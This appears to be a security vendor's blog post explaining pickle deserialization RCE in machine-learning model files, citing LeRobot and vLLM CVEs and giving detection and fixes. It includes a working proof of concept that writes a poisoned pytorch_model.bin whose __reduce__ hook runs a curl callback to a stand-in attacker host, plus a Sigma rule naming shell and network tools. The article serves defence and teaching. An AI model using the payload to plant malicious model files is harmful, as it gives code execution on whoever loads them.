Skip to content
Back to the Lab
Security

Pickle Deserialization RCE How a Malicious AI Model Runs Code the Moment You Load It

How a malicious AI model runs code on load through pickle deserialization. Real CVEs a working PoC SIEM detection and the safetensors fix.

Pickle Deserialization RCE How a Malicious AI Model Runs Code the Moment You Load It

Loading a machine learning model can hand an attacker a shell on your server. The reason is a format that most teams treat as data but the runtime treats as code. Python pickle is the default container for model weights across the ecosystem and pickle does not just describe objects. It runs instructions. A crafted model file can carry a payload that executes the moment you call torch.load or pickle.load. No prompt is involved and no clever jailbreak is needed. The file itself is the exploit. This is the class of flaw behind CVE-2026-25874 in Hugging Face LeRobot and behind the perfect ten CVE-2025-32444 in vLLM and it keeps reappearing because the ecosystem still ships untrusted weights in a code execution format.

Why Loading a Model Is Running Code#

A model file feels inert. You download it and you load it and you run inference. The problem is what load actually does. When a library reads a pickle file it does not parse a passive data structure. It drives a small stack machine that can import modules and call functions and rebuild arbitrary objects. That machine is the pickle virtual machine and it was designed for trusted Python to Python serialization. It was never meant to open files from strangers. The moment a model comes from a public hub or an untrusted peer the load call becomes a remote code execution primitive.

The whole attack fits in one path.

Pickle deserialization attack flow showing an untrusted model file loaded by torch.load reaching the pickle VM and running an OS command

Quick Facts#

Vulnerability class: Unsafe deserialization of untrusted data

CWE: CWE-502 Deserialization of Untrusted Data

Attack vector: An untrusted model file on disk or a serialized object arriving over the network

Trigger: A call to torch.load or pickle.load or joblib.load on attacker controlled data

Authentication required: None when the load path is reachable from untrusted input

Impact: Remote code execution with the privileges of the loading process

CVE-2026-25874: Hugging Face LeRobot pickle deserialization over gRPC disclosed April 2026 rated CVSS 8.8 High

CVE-2025-32444: vLLM pickle over an unsecured ZeroMQ socket April 2025 rated CVSS 10.0 Critical with vector AV/AC/PR/UI/S/C/I/A

Formats at risk: .pkl and .pt and .bin and .ckpt and joblib and numpy with allow_pickle

Safe formats: safetensors for weights and ONNX for graphs

Fix: Move weights to safetensors and set weights_only on torch.load and never unpickle untrusted data

Root Cause The Pickle Virtual Machine#

Every Python object can define how it is pickled through a hook named reduce. When pickle serializes an object it asks the object for a callable and a set of arguments. When pickle later loads that stream it calls the callable with those arguments to rebuild the object. Nothing checks what the callable is. An attacker simply returns a dangerous callable such as the system function and a command string. The rebuild step then runs the command.

import os
import pickle

class Probe:
    def __reduce__(self):
        return (os.system, ("id; curl http://attacker.host/$(hostname)",))

with open("pytorch_model.bin", "wb") as out:
    pickle.dump(Probe(), out)

This produces a file that looks like an ordinary PyTorch weight file. It carries a single instruction that tells any loader to run a shell command. The command above is a harmless probe that prints the current user and calls back to an attacker host with the machine name. A real operator swaps that line for a reverse shell or a one liner that reads environment variables and cloud tokens.

How the Exploit Works#

The victim side is the part that surprises people. There is no parsing bug to trigger and no memory corruption to line up. The loader does exactly what pickle is designed to do.

import torch

# the reduce hook fires during this call
state = torch.load("pytorch_model.bin")

torch.load wraps pickle so the payload runs before you ever touch the weights. The same holds for a plain pickle load and for joblib and for numpy when allow_pickle is set. If the file reached your disk from an untrusted source the game is already over at load time.

The Real Cases#

CVE-2026-25874 shows the pattern in a modern agent stack. Hugging Face LeRobot runs an async inference pipeline that accepts data over a gRPC interface and hands it to a pickle deserialization path with no validation of the source. An attacker who can reach the gRPC endpoint sends a crafted pickle stream and the server runs their command. No account is needed. The rating landed at CVSS 8.8.

CVE-2025-32444 shows the same flaw in a serving engine. vLLM passed pickled objects across an unsecured ZeroMQ socket. Anyone able to speak to that socket could deliver a payload and take the host. The rating was a perfect CVSS 10.0. The same class surfaced again in early 2026 in LightLLM and in an image translation tool which tells you this is a pattern and not a one off.

Are You Affected#

You are exposed if any of these are true. You load model files that you did not produce yourself. You pull weights from a public hub without scanning them. You accept serialized objects over a network interface such as gRPC or a message queue or a task broker. You cache or share pickled feature pipelines between teams. The download counts make the scale clear because repositories that contain pickle models are pulled billions of times each month and the rate of malicious uploads to public hubs has been climbing year over year.

Detection#

Scanning belongs before the load and monitoring belongs after it. Before you trust a file disassemble its pickle opcodes and flag any import of an execution primitive.

pip install fickling
fickling --check-safety pytorch_model.bin

fickling reads the opcodes and warns when a file imports something like the os module or builds a callable that has no place in a weight file. ModelScan from Protect AI does the same across a directory of models. Treat any global import of os or posix or subprocess or the eval builtin as malicious.

After the load the signal moves to process and network behavior. A model server that suddenly spawns a shell or a network tool is a model server that just ran someone else code. This Sigma rule catches the common shape on Linux.

title: Shell or Network Tool Spawned by Python Model Loader
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    ParentImage|endswith: '/python3'
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/curl'
      - '/wget'
  condition: selection
level: high

Pair that with an outbound connection rule from the inference account to an unknown host right after a model file is opened. Egnworks builds these detections into the SIEM so a poisoned model turns into an alert rather than a breach.

The Fix and Why It Works#

The durable fix is to stop deserializing untrusted data in a code execution format. There are three concrete steps and the first one solves the problem outright.

First move your weights to safetensors. The format stores tensors and metadata only and it has no mechanism to call code. Loading it can copy numbers into memory and nothing else.

from safetensors.torch import load_file

state = load_file("model.safetensors")

Second when you must read a legacy PyTorch file set weights_only so the loader refuses any opcode that is not a plain tensor. This became the default in recent PyTorch releases and you should set it explicitly everywhere you still call torch.load.

import torch

state = torch.load("pytorch_model.bin", weights_only=True)

Third gate every model behind a scanner in your pipeline so an unscanned file never reaches a load call. For the network cases such as vLLM and LeRobot the fix is to authenticate the channel and validate the source before any deserialize step ever runs.

Lessons#

This is the same lesson that Java learned through years of deserialization bugs and that PHP learned and that Python is learning now in the machine learning stack. Deserialization of untrusted input is code execution and no amount of scanning fully replaces choosing a format that cannot execute. Tool metadata that hijacks an agent and a model file that runs on load are two faces of the same problem which is that the ecosystem keeps trusting data that arrives from outside. Treat every model file as an executable and you will make the right call every time.

MCP Tool Poisoning and the Hidden Threat to Agentic SecOps

Detecting Prompt Injection With Your SIEM

CVE-2026-33017 Unauthenticated RCE in Langflow and the 20 Hour Exploit

CVE-2025-55182 React2Shell Unauthenticated RCE in React

Last updated